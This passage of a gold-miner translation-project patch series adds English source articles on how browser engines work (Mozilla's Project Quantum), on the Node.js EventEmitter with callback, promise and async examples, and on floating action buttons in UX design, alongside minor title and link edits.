+> * 原文地址：[Quantum Up Close: What is a browser engine?](https://hacks.mozilla.org/2017/05/quantum-up-close-what-is-a-browser-engine/)
+> * 原文作者：[Potch](http://potch.me/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Quantum Up Close: What is a browser engine? #
+
+In October of last year [Mozilla announced Project Quantum](https://medium.com/mozilla-tech/a-quantum-leap-for-the-web-a3b7174b3c12)  – our initiative to create a next-generation browser engine. We’re well underway on the project now. We actually [shipped our first significant piece of Quantum](https://hacks.mozilla.org/2017/04/firefox-53-quantum-compositor-compact-themes-css-masks-and-more/)  just last month with Firefox 53.
+
+But, we realize that for people who don’t build web browsers (and that’s most people!), it can be hard to see just why some of the changes we’re making to Firefox are so significant. After all, many of the changes that we’re making will be invisible to users.
+
+With this in mind, we’re kicking off a series of blog posts to provide a deeper look at just what it is we’re doing with Project Quantum. We hope that this series of posts will give you a better understanding of how Firefox works, and the ways in which Firefox is building a next-generation browser engine made to take better advantage of modern computer hardware.
+
+To begin this series of posts, we think it’s best to start by explaining the fundamental thing Quantum is changing.
+
+What *is* a browser engine, and how does one work?
+
+If we’re going to start from somewhere, we should start from the beginning.
+
+A web browser is a piece of software that loads files (usually from a remote server) and displays them locally, allowing for user interaction.
+
+Quantum is the code name for a project we’ve undertaken at Mozilla to massively upgrade the part of Firefox that figures what to display to users based on those remote files. The industry term for that part is “browser engine”, and without one, you would just be reading code instead of actually seeing a website. Firefox’s browser engine is called Gecko.
+
+It’s pretty easy to see the browser engine as a single black box, sort of like a TV- data goes in, and the black box figures out what to display on the screen to represent that data. The question today is: How? What are the steps that turn data into the web pages we see?
+
+[![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/black-box.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/black-box.png) 
+
+The data that makes up a web page is lots of things, but it’s mostly broken down into 3 parts:
+
+- code that represents the *structure* of a web page
+- code that provides *style*: the visual appearance of the structure
+- code that acts as a *script* of actions for the browser to take: computing, reacting to user actions, and modifying the structure and style beyond what was loaded initially
+
+The browser engine combines structure and style together to draw the web page on your screen, and figure out which bits of it are interactive.
+
+It all starts with structure. When a browser is asked to load a website, it’s given an address. At this address is another computer which, when contacted, will send data back to the browser. The particulars of how that happens are [a whole separate article](https://developer.mozilla.org/en-US/docs/Web/HTTP) in themselves, but at the end the browser has the data. This data is sent back in a format called HTML, and it describes the structure of the web page. How does a browser understand HTML?
+
+Browser engines contain special pieces of code called *parsers* that convert data from one format into another that the browser holds in its memory. The HTML parser takes the HTML, something like:
+
+```
+<section>
+ <h1 class="main-title">Hello!</h1>
+ <img src="http://example.com/image.png">
+</section>
+```
+
+And parses it, understanding:
+
+>   Okay, there’s a section. Inside the section is a heading of level 1, which itself contains the text: “Hello!” Also inside the section is an image. I can find the image data at the location: *http://example.com/image.png*
+
+The in-memory structure of the web page is called the [Document Object Model](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction), or DOM. As opposed to a long piece of text, the DOM represents a tree of elements of the final web page: the properties of the individual elements, and which elements are inside other elements.
+
+[![A diagram showing the nesting of HTML elements](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/html-diagra.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/html-diagra.png)
+
+In addition to describing the structure of the page, the HTML also includes addresses where styles and scripts can be found. When the browser finds these, it contacts those addresses and loads their data. That data is then fed to other parsers that specialize in those data formats. If scripts are found, they can modify the page structure and style before the file is finished being parsed. The style format, CSS, plays the next role in our browser engine.
+
+## With Style ##
+
+CSS is a programming language that lets developers describe the appearance of particular elements on a page. CSS stands for “Cascading Style Sheets”, so named because it allows for multiple sets of style instructions, where instructions can override earlier or more general instructions (called the cascade). A bit of CSS could look like the following:
+
+```
+section {
+  font-size: 15px;
+  color: #333;
+  border: 1px solid blue;
+}
+h1 {
+  font-size: 2em;
+}
+.main-title {
+  font-size: 3em; 
+}
+img {
+  width: 100%;
+}
+
+```
+
+CSS is largely broken up into groupings called rules, which themselves consist of two parts. The first part is selectors. Selectors describe the elements of the DOM (remember those from above?) being styled, and a list of declarations that specify the styles to be applied to elements that match the selector. The browser engine contains a subsystem called a style engine whose job it is to take the CSS code and apply it to the DOM that was created by the HTML parser.
+
+[![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/style-engine-1.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/style-engine-1.png)
+
+For example, in the above CSS, we have a rule that targets the selector “section”, which will match any element in the DOM with that name. Style annotations are then made for each element in the DOM. Eventually each element in the DOM is finished being styled, and we call this state the computed style for that element. When multiple competing styles are applied to the same element, those which come later or are more specific wins. Think of stylesheets as layers of thin tracing paper- each layer can cover the previous layers, but also let them show through.
+
+Once the browser engine has computed styles, it’s time to put it to use! The DOM and the computed styles are fed into a layout engine that takes into account the size of the window being drawn into. The layout engine uses various algorithms to take each element and draw a box that will hold its content and take into account all the styles applied to it.
+
+[![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/layout-time.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/layout-time.png)
+
+When layout is complete, it’s time to turn the blueprint of the page into the part you see. This process is known as painting, and it is the final combination of all the previous steps. Every box that was defined by layout gets drawn, full of the content from the DOM and with styles from the CSS. The user now sees the page, reconstituted from the code that defines it.
+
+That used to be all that happened!
+
+When the user scrolled the page, we would re-paint, to show the new parts of the page that were previously outside the window. It turns out, however, that users love to scroll! The browser engine can be fairly certain it will be asked to show content outside of the initial window it draws (called the viewport). More modern browsers take advantage of this fact and paint more of the web page than is visible initially. When the user scrolls, the parts of the page they want to see are already drawn and ready. As a result, scrolling can be faster and smoother. This technique is the basis of compositing, which is a term for techniques to reduce the amount of painting required.
+
+Additionally, sometimes we need to redraw parts of the screen. Maybe the user is watching a video that plays at 60 frames per second. Or maybe there’s a slideshow or animated list on the page. Browsers can detect that parts of the page will move or update, and instead of re-painting the whole page, they create a layer to hold that content. A page can be made of many layers that overlap one another. A layer can change position, scroll, transparency, or move behind or in front of other layers without having to re-paint anything! Pretty convenient.
+
+Sometimes a script or an animation changes an element’s style. When this occurs, the style engine need to re-compute the element’s style (and potentially the style of many more elements on the page), recalculate the layout (do a reflow), and re-paint the page. This takes a lot of time as computer-speed things go, but so long as it only happens occasionally, the process won’t negatively affect a user’s experience.
+
+In modern web applications, the structure of the document itself is frequently changed by scripts. This can require the entire rendering process to start more-or-less from scratch, with HTML being parsed into DOM, style calculation, reflow, and paint.
+
+[![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/browser-diagram-full-2.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/browser-diagram-full-2.png)
+
+## Standards ##
+
+Not every browser interprets HTML, CSS, and JavaScript the same way. The effect can vary: from small visual differences all the way to the occasional website that works in one browser and not at all in another. These days, on the modern Web, most websites seem to work regardless of which browser you choose. How do browsers achieve this level of consistency?
+
+The formats of website code, as well as the rules that govern how the code is interpreted and turned into an interactive visual page, are defined by mutually-agreed-upon documents called standards. These documents are developed by committees consisting of representatives from browser makers, web developers, designers, and other members of industry. Together they determine the precise behavior a browser engine should exhibit given a specific piece of code. There are [standards for HTML, CSS, and JavaScript](https://developer.mozilla.org/en-US/docs/Web_Standards) as well as the data formats of images, video, audio, and more.
+
+Why is this important? It’s possible make a whole new browser engine and, so long as you make sure that your engine follows the standards, the engine will draw web pages in a way that matches all the other browsers, for all the billions of web pages on the Web. This means that the “secret sauce” of making websites work isn’t a secret that belongs to any one browser. Standards allow users to choose the browser that meets their needs.
+
+## Moore’s No More ##
+
+When dinosaurs roamed the earth and people only had desktop computers, it was a relatively safe assumption that computers would only get faster and more powerful. This idea was based on [Moore’s Law](https://en.wikipedia.org/wiki/Moore%27s_law), an observation that the density of components (and thus miniaturization/efficiency of silicon chips) would double roughly every two years. Incredibly, this observation held true well into the 21st century and, some would argue, still holds true at the cutting edge of research today. So why is it that the speed of the average computer seems to have leveled off in the last 10 years?
+
+Speed is not the only feature customers look for when shopping for a computer. Fast computers can be very power-hungry, very hot, and very expensive. Sometimes, people want a portable computer that has good battery life. Sometimes, they want a tiny touch-screen computer with a camera that fits in their pocket and lasts all day without a charge! Advances in computing have made that possible (which is amazing!), but at the cost of raw speed. Just as it’s not efficient (or safe) to drive your car as fast as possible, it’s not efficient to drive your computer as fast as possible. The solution has been to have multiple “computers” (cores) in one CPU chip. It’s not uncommon to see smartphones with 4 smaller, less powerful cores.
+
+Unfortunately, the historical design of the web browser kind-of assumed this upward trajectory in speed. Also, writing code that’s good at using multiple CPU cores at the same time can be *extremely* complicated. So, how do we make a fast, efficient browser in the era of lots of small computers?
+
+We have some ideas!
+
+In the upcoming months, we’ll take a closer look at some of changes coming to Firefox and how they will take better advantage of modern hardware to deliver [a faster and more stable browser](https://www.mozilla.org/en-US/firefox/developer/) that makes websites shine.
+
+Onward!
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From f7919a9da845a245ce1621148b93ee48e0146070 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 10 May 2017 21:20:19 +0800
Subject: [PATCH 411/638] Create
 understanding-node-js-event-driven-architecture.md

---
 ...nding-node-js-event-driven-architecture.md | 497 ++++++++++++++++++
 1 file changed, 497 insertions(+)
 create mode 100644 TODO/understanding-node-js-event-driven-architecture.md

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
new file mode 100644
index 00000000000..66ac7fac21f
--- /dev/null
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -0,0 +1,497 @@
+> * 原文地址：[Understanding Node.js Event-Driven Architecture](https://medium.freecodecamp.com/understanding-node-js-event-driven-architecture-223292fcbc2d)
+> * 原文作者：[Samer Buna](https://medium.freecodecamp.com/@samerbuna?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Understanding Node.js Event-Driven Architecture #
+
+![](https://cdn-images-1.medium.com/max/2000/1*Nozl2qd0SV8Uya2CEkF_mg.jpeg)
+
+Most of Node’s objects — like HTTP requests, responses, and streams — implement the `EventEmitter` module so they can provide a way to emit and listen to events.
+
+![](https://cdn-images-1.medium.com/max/800/1*74K5OhiYt7WTR0WuVGeNLQ.png)
+
+The simplest form of the event-driven nature is the callback style of some of the popular Node.js functions — for example, `fs.readFile`. In this analogy, the event will be fired once (when Node is ready to call the callback) and the callback acts as the event handler.
+
+Let’s explore this basic form first.
+
+#### Call me when you’re ready, Node! ####
+
+The original way Node handled asynchronous events was with callback. This was a long time ago, before JavaScript had native promises support and the async/await feature.
+
+Callbacks are basically just functions that you pass to other functions. This is possible in JavaScript because functions are first class objects.
+
+It’s important to understand that callbacks do not indicate an asynchronous call in the code. A function can call the callback both synchronously and asynchronously.
+
+For example, here’s a host function `fileSize` that accepts a callback function `cb` and can invoke that callback function both synchronously and asynchronously based on a condition:
+
+```
+function fileSize (fileName, cb) {
+  if (typeof fileName !== 'string') {
+    return cb(new TypeError('argument should be string')); // Sync
+  }
+  
+  fs.stat(fileName, (err, stats) => {
+    if (err) { return cb(err); } // Async
+    
+    cb(null, stats.size); // Async
+  });
+}
+```
+
+Note that this is a bad practice that leads to unexpected errors. Design host functions to consume callback either always synchronously or always asynchronously.
+
+Let’s explore a simple example of a typical asynchronous Node function that’s written with a callback style:
+
+```
+const readFileAsArray = function(file, cb) {
+  fs.readFile(file, function(err, data) {
+    if (err) {
+      return cb(err);
+    }
+
+    const lines = data.toString().trim().split('\n');
+    cb(null, lines);
+  });
+};
+```
+
+`readFileAsArray` takes a file path and a callback function. It reads the file content, splits it into an array of lines, and calls the callback function with that array.
+
+Here’s an example use for it. Assuming that we have the file `numbers.txt` in the same directory with content like this:
+
+```
+10
+11
+12
+13
+14
+15
+```
+
+If we have a task to count the odd numbers in that file, we can use `readFileAsArray` to simplify the code:
+
+```
+readFileAsArray('./numbers.txt', (err, lines) => {
+  if (err) throw err;
+
+  const numbers = lines.map(Number);
+  const oddNumbers = numbers.filter(n => n%2 === 1);
+  console.log('Odd numbers count:', oddNumbers.length);
+});
+```
+
+The code reads the numbers content into an array of strings, parses them as numbers, and counts the odd ones.
+
+Node’s callback style is used purely here. The callback has an error-first argument `err` that’s nullable and we pass the callback as the last argument for the host function. You should always do that in your functions because users will probably assume that. Make the host function receive the callback as its last argument and make the callback expect an error object as its first argument.
+
+#### The modern JavaScript alternative to Callbacks ####
+
+In modern JavaScript, we have promise objects. Promises can be an alternative to callbacks for asynchronous APIs. Instead of passing a callback as an argument and handling the error in the same place, a promise object allows us to handle success and error cases separately and it also allows us to chain multiple asynchronous calls instead of nesting them.
+
+If the `readFileAsArray` function supports promises, we can use it as follows:
+
+```
+readFileAsArray('./numbers.txt')
+  .then(lines => {
+    const numbers = lines.map(Number);
+    const oddNumbers = numbers.filter(n => n%2 === 1);
+    console.log('Odd numbers count:', oddNumbers.length);
+  })
+  .catch(console.error);
+```
+
+Instead of passing in a callback function, we called a `.then` function on the return value of the host function. This `.then` function usually gives us access to the same lines array that we get in the callback version, and we can do our processing on it as before. To handle errors, we add a `.catch` call on the result and that gives us access to an error when it happens.
+
+Making the host function support a promise interface is easier in modern JavaScript thanks to the new Promise object. Here’s the `readFileAsArray` function modified to support a promise interface in addition to the callback interface it already supports:
+
+```
+const readFileAsArray = function(file, cb = () => {}) {
+  return new Promise((resolve, reject) => {
+    fs.readFile(file, function(err, data) {
+      if (err) {
+        reject(err);
+        return cb(err);
+      }
+      
+      const lines = data.toString().trim().split('\n');
+      resolve(lines);
+      cb(null, lines);
+    });
+  });
+};
+```
+
+So we make the function return a Promise object, which wraps the `fs.readFile` async call. The promise object exposes two arguments, a `resolve` function and a `reject` function.
+
+Whenever we want to invoke the callback with an error we use the promise `reject` function as well, and whenever we want to invoke the callback with data we use the promise `resolve` function as well.
+
+The only other thing we needed to do in this case is to have a default value for this callback argument in case the code is being used with the promise interface. We can use a simple, default empty function in the argument for that case: `() => {}`.
+
+#### Consuming promises with async/await ####
+
+Adding a promise interface makes your code a lot easier to work with when there is a need to loop over an async function. With callbacks, things become messy.
+
+Promises improve that a little bit, and function generators improve on that a little bit more. This said, a more recent alternative to working with async code is to use the `async` function, which allows us to treat async code as if it was synchronous, making it a lot more readable overall.
+
+Here’s how we can consume the `readFileAsArray` function with async/await:
+
+```
+async function countOdd () {
+  try {
+    const lines = await readFileAsArray('./numbers');
+    const numbers = lines.map(Number);
+    const oddCount = numbers.filter(n => n%2 === 1).length;
+    console.log('Odd numbers count:', oddCount);
+  } catch(err) {
+    console.error(err);
+  }
+}
+
+countOdd();
+```
+
+We first create an async function, which is just a normal function with the word `async` before it. Inside the async function, we call the `readFileAsArray` function as if it returns the lines variable, and to make that work, we use the keyword `await`. After that, we continue the code as if the `readFileAsArray` call was synchronous.
+
+To get things to run, we execute the async function. This is very simple and more readable. To work with errors, we need to wrap the async call in a `try`/`catch` statement.
+
+With this async/await feature, we did not have to use any special API (like .then and .catch). We just labeled functions differently and used pure JavaScript for the code.
+
+We can use the async/await feature with any function that supports a promise interface. However, we can’t use it with callback-style async functions (like setTimeout for example).
+
+### The EventEmitter Module ###
+
+The EventEmitter is a module that facilitates communication between objects in Node. EventEmitter is at the core of Node asynchronous event-driven architecture. Many of Node’s built-in modules inherit from EventEmitter.
+
+The concept is simple: emitter objects emit named events that cause previously registered listeners to be called. So, an emitter object basically has two main features:
+
+- Emitting name events.
+- Registering and unregistering listener functions.
+
+To work with the EventEmitter, we just create a class that extends EventEmitter.
+
+```
+class MyEmitter extends EventEmitter {
+
+}
+```
+
+Emitter objects are what we instantiate from the EventEmitter-based classes:
+
+```
+const myEmitter = new MyEmitter();
+```
+
+At any point in the lifecycle of those emitter objects, we can use the emit function to emit any named event we want.
+
+```
+myEmitter.emit('something-happened');
+```
+
+Emitting an event is the signal that some condition has occurred. This condition is usually about a state change in the emitting object.
+
+We can add listener functions using the `on` method, and those listener functions will be executed every time the emitter object emits their associated name event.
+
+#### Events !== Asynchrony ####
+
+Let’s take a look at an example:
+
+```
+const EventEmitter = require('events');
+
+class WithLog extends EventEmitter {
+  execute(taskFunc) {
+    console.log('Before executing');
+    this.emit('begin');
+    taskFunc();
+    this.emit('end');
+    console.log('After executing');
+  }
+}
+
+const withLog = new WithLog();
+
+withLog.on('begin', () => console.log('About to execute'));
+withLog.on('end', () => console.log('Done with execute'));
+
+withLog.execute(() => console.log('*** Executing task ***'));
+```
+
+Class `WithLog` is an event emitter. It defines one instance function `execute`. This `execute` function receives one argument, a task function, and wraps its execution with log statements. It fires events before and after the execution.
+
+To see the sequence of what will happen here, we register listeners on both named events and finally execute a sample task to trigger things.
+
+Here’s the output of that:
+
+```
+Before executing
+About to execute
+*** Executing task ***
+Done with execute
+After executing
+```
+
+What I want you to notice about the output above is that it all happens synchronously. There is nothing asynchronous about this code.
+
+- We get the “Before executing” line first.
+- The `begin` named event then causes the “About to execute” line.
+- The actual execution line then outputs the “*** Executing task ***” line.
+- The `end` named event then causes the “Done with execute” line
+- We get the “After executing” line last.
+
+Just like plain-old callbacks, do not assume that events mean synchronous or asynchronous code.
+
+This is important, because if we pass an asynchronous `taskFunc` to `execute`, the events emitted will no longer be accurate.
+
+We can simulate the case with a `setImmediate` call:
+
+```
+// ...
+
+withLog.execute(() => {
+  setImmediate(() => {
+    console.log('*** Executing task ***')
+  });
+});
+```
+
+Now the output would be:
+
+```
+Before executing
+About to execute
+Done with execute
+After executing
+*** Executing task ***
+```
+
+This is wrong. The lines after the async call, which were caused the “Done with execute” and “After executing” calls, are not accurate any more.
+
+To emit an event after an asynchronous function is done, we’ll need to combine callbacks (or promises) with this event-based communication. The example below demonstrates that.
+
+One benefit of using events instead of regular callbacks is that we can react to the same signal multiple times by defining multiple listeners. To accomplish the same with callbacks, we have to write more logic inside the single available callback. Events are a great way for applications to allow multiple external plugins to build functionality on top of the application’s core. You can think of them as hook points to allow for customizing the story around a state change.
+
+#### Asynchronous Events ####
+
+Let’s convert the synchronous sample example into something asynchronous and a little bit more useful.
+
+```
+const fs = require('fs');
+const EventEmitter = require('events');
+
+class WithTime extends EventEmitter {
+  execute(asyncFunc, ...args) {
+    this.emit('begin');
+    console.time('execute');
+    asyncFunc(...args, (err, data) => {
+      if (err) {
+        return this.emit('error', err);
+      }
+
+      this.emit('data', data);
+      console.timeEnd('execute');
+      this.emit('end');
+    });
+  }
+}
+
+const withTime = new WithTime();
+
+withTime.on('begin', () => console.log('About to execute'));
+withTime.on('end', () => console.log('Done with execute'));
+
+withTime.execute(fs.readFile, __filename);
+```
+
+The `WithTime` class executes an `asyncFunc` and reports the time that’s taken by that `asyncFunc` using `console.time` and `console.timeEnd` calls. It emits the right sequence of events before and after the execution. And also emits error/data events to work with the usual signals of asynchronous calls.
+
+We test a `withTime` emitter by passing it an `fs.readFile` call, which is an asynchronous function. Instead of handling file data with a callback, we can now listen to the data event.
+
+When we execute this code , we get the right sequence of events, as expected, and we get a reported time for the execution, which is helpful:
+
+```
+About to execute
+execute: 4.507ms
+Done with execute
+```
+
+Note how we needed to combine a callback with an event emitter to accomplish that. If the `asynFunc` supported promises as well, we could use the async/await feature to do the same:
+
+```
+class WithTime extends EventEmitter {
+  async execute(asyncFunc, ...args) {
+    this.emit('begin');
+    try {
+      console.time('execute');
+      const data = await asyncFunc(...args);
+      this.emit('data', data);
+      console.timeEnd('execute');
+      this.emit('end');
+    } catch(err) {
+      this.emit('error', err);
+    }
+  }
+}
+```
+
+I don’t know about you, but this is much more readable to me than the callback-based code or any .then/.catch lines. The async/await feature brings us as close as possible to the JavaScript language itself, which I think is a big win.
+
+#### Events Arguments and Errors ####
+
+In the previous example, there were two events that were emitted with extra arguments.
+
+The error event is emitted with an error object.
+
+```
+this.emit('error', err);
+```
+
+The data event is emitted with a data object.
+
+```
+this.emit('data', data);
+```
+
+We can use as many arguments as we need after the named event, and all these arguments will be available inside the listener functions we register for these named events.
+
+For example, to work with the data event, the listener function that we register will get access to the data argument that was passed to the emitted event and that data object is exactly what the `asyncFunc` exposes.
+
+```
+withTime.on('data', (data) => {
+  // do something with data
+});
+```
+
+The `error` event is usually a special one. In our callback-based example, if we don’t handle the error event with a listener, the node process will actually exit.
+
+To demonstrate that, make another call to the execute method with a bad argument:
+
+```
+class WithTime extends EventEmitter {
+  execute(asyncFunc, ...args) {
+    console.time('execute');
+    asyncFunc(...args, (err, data) => {
+      if (err) {
+        return this.emit('error', err); // Not Handled
+      }
+
+      console.timeEnd('execute');
+    });
+  }
+}
+
+const withTime = new WithTime();
+
+withTime.execute(fs.readFile, ''); // BAD CALL
+withTime.execute(fs.readFile, __filename);
+```
+
+The first execute call above will trigger an error. The node process is going to crash and exit:
+
+```
+events.js:163
+      throw er; // Unhandled 'error' event
+      ^
+Error: ENOENT: no such file or directory, open ''
+
+```
+
+The second execute call will be affected by this crash and will potentially not get executed at all.
+
+If we register a listener for the special `error` event, the behavior of the node process will change. For example:
+
+```
+withTime.on('error', (err) => {
+  // do something with err, for example log it somewhere
+  console.log(err)
+});
+```
+
+If we do the above, the error from the first execute call will be reported but the node process will not crash and exit. The other execute call will finish normally:
+
+```
+{ Error: ENOENT: no such file or directory, open '' errno: -2, code: 'ENOENT', syscall: 'open', path: '' }
+execute: 4.276ms
+```
+
+Note that Node currently behaves differently with promise-based functions and just outputs a warning, but that will eventually change:
+
+```
+UnhandledPromiseRejectionWarning: Unhandled promise rejection (rejection id: 1): Error: ENOENT: no such file or directory, open ''
+
+DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
+```
+
+The other way to handle exceptions from emitted errors is to register a listener for the global `uncaughtException` process event. However, catching errors globally with that event is a bad idea.
+
+The standard advice about `uncaughtException` is to avoid using it, but if you must do (say to report what happened or do cleanups), you should just let the process exit anyway:
+
+```
+process.on('uncaughtException', (err) => {
+  // something went unhandled.
+  // Do any cleanup and exit anyway!
+
+  console.error(err); // don't do just that.
+
+  // FORCE exit the process too.
+  process.exit(1);
+});
+```
+
+However, imagine that multiple error events happen at the exact same time. This means the `uncaughtException` listener above will be triggered multiple times, which might be a problem for some cleanup code. An example of this is when multiple calls are made to a database shutdown action.
+
+The `EventEmitter` module exposes a `once` method. This method signals to invoke the listener just once, not every time it happens. So, this is a practical use case to use with the uncaughtException because with the first uncaught exception we’ll start doing the cleanup and we know that we’re going to exit the process anyway.
+
+#### Order of Listeners ####
+
+If we register multiple listeners for the same event, the invocation of those listeners will be in order. The first listener that we register is the first listener that gets invoked.
+
+```
+// प्रथम
+withTime.on('data', (data) => {
+  console.log(`Length: ${data.length}`);
+});
+
+// दूसरा
+withTime.on('data', (data) => {
+  console.log(`Characters: ${data.toString().length}`);
+});
+
+withTime.execute(fs.readFile, __filename);
+```
+
+The above code will cause the “Length” line to be logged before the “Characters” line, because that’s the order in which we defined those listeners.
+
+If you need to define a new listener, but have that listener invoked first, you can use the `prependListener` method:
+
+```
+// प्रथम
+withTime.on('data', (data) => {
+  console.log(`Length: ${data.length}`);
+});
+
+// दूसरा
+withTime.prependListener('data', (data) => {
+  console.log(`Characters: ${data.toString().length}`);
+});
+
+withTime.execute(fs.readFile, __filename);
+```
+
+The above will cause the “Characters” line to be logged first.
+
+And finally, if you need to remove a listener, you can use the `removeListener` method.
+
+That’s all I have for this topic. Thanks for reading! Until next time!
+
+
+*If you found this article helpful, please click the💚 below. Follow me for more articles on Node and JavaScript.*
+
+If you have any questions about this article or any other article I wrote, find me on [this slack account](https://slack.jscomplete.com/) (you can invite yourself) and ask in the #questions room.
+
+I create online courses for [Pluralsight](https://www.pluralsight.com/search?q=samer+buna&amp;categories=course) and [Lynda](https://www.lynda.com/Samer-Buna/7060467-1.html) . My most recent courses are [Getting Started with React.js](https://www.pluralsight.com/courses/react-js-getting-started) , [Advanced Node.js](https://www.pluralsight.com/courses/nodejs-advanced) , and [Learning Full-stack JavaScript](https://www.lynda.com/Express-js-tutorials/Learning-Full-Stack-JavaScript-Development-MongoDB-Node-React/533304-2.html) .
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 4e1e8f5bf130a108c3a02b8e885dfa3f6c607bd9 Mon Sep 17 00:00:00 2001
From: ZhangFe <zhangzhe0214@gmail.com>
Date: Wed, 10 May 2017 21:21:54 +0800
Subject: [PATCH 412/638] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E6=A0=87=E9=A2=98?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/react-at-light-speed.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/react-at-light-speed.md b/TODO/react-at-light-speed.md
index d0913dfd9eb..bc8be2f88ae 100644
--- a/TODO/react-at-light-speed.md
+++ b/TODO/react-at-light-speed.md
@@ -4,7 +4,7 @@
 > * 译者：
 > * 校对者：
 
-# React at Light Speed #
+# 光速 React #
 
 ## Vixlet优化性能的经验教训 ##
 

From 37a6f68f60ba2ee0527c74bc7f55986372a37695 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 10 May 2017 21:23:22 +0800
Subject: [PATCH 413/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 66ac7fac21f..62c5f432756 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Understanding Node.js Event-Driven Architecture](https://medium.freecodecamp.com/understanding-node-js-event-driven-architecture-223292fcbc2d)
-> * 原文作者：[Samer Buna](https://medium.freecodecamp.com/@samerbuna?source=post_header_lockup)
+> * 原文作者：[Samer Buna](https://medium.freecodecamp.com/@samerbuna)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：
 > * 校对者：

From 024d46cfb01d5d1d130fc73825735d8e96ed30b7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 10 May 2017 21:34:09 +0800
Subject: [PATCH 414/638] Create floating-action-button-in-ux-design.md

---
 TODO/floating-action-button-in-ux-design.md | 136 ++++++++++++++++++++
 1 file changed, 136 insertions(+)
 create mode 100644 TODO/floating-action-button-in-ux-design.md

diff --git a/TODO/floating-action-button-in-ux-design.md b/TODO/floating-action-button-in-ux-design.md
new file mode 100644
index 00000000000..7bd0da8e522
--- /dev/null
+++ b/TODO/floating-action-button-in-ux-design.md
@@ -0,0 +1,136 @@
+> * 原文地址：[Floating Action Button in UX Design](https://uxplanet.org/floating-action-button-in-ux-design-7dd06e49144e)
+> * 原文作者：[Nick Babich](https://uxplanet.org/@101)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+![](https://cdn-images-1.medium.com/max/800/1*0qLDFA-7qPANEMKO6xCEtw.png)
+
+# Floating Action Button in UX Design #
+
+Floating Action Button (FAB) is a very commonly used control in Android apps. Shaped like a circled icon floating above the UI, it’s a tool for designers to call out the key parts of the app’s product story. FAB is quite simple and easy to implement UI element, but designers often incorrectly incorporate it into designs.
+
+In this article you’ll find answers on following questions:
+
+- When to use FAB?
+- What are best practices for FAB?
+- How FAB and animation can work together to improve UX?
+
+### When to Use FAB? ###
+
+#### For hallmark actions ####
+
+FAB highlights the most relevant or frequently used actions. It should be used for the actions that are strongly characteristics of your app. Ideally, the FAB should represent the core function of your entire app just like in the example below.
+
+![](https://cdn-images-1.medium.com/max/800/1*fV1xkVAU9VS-jmoydI5TDw.jpeg)
+
+A floating action button represents the primary action in an application. Pausing or resuming playback on this screen tells users that it’s a music app.
+
+#### As way-finding tool ####
+
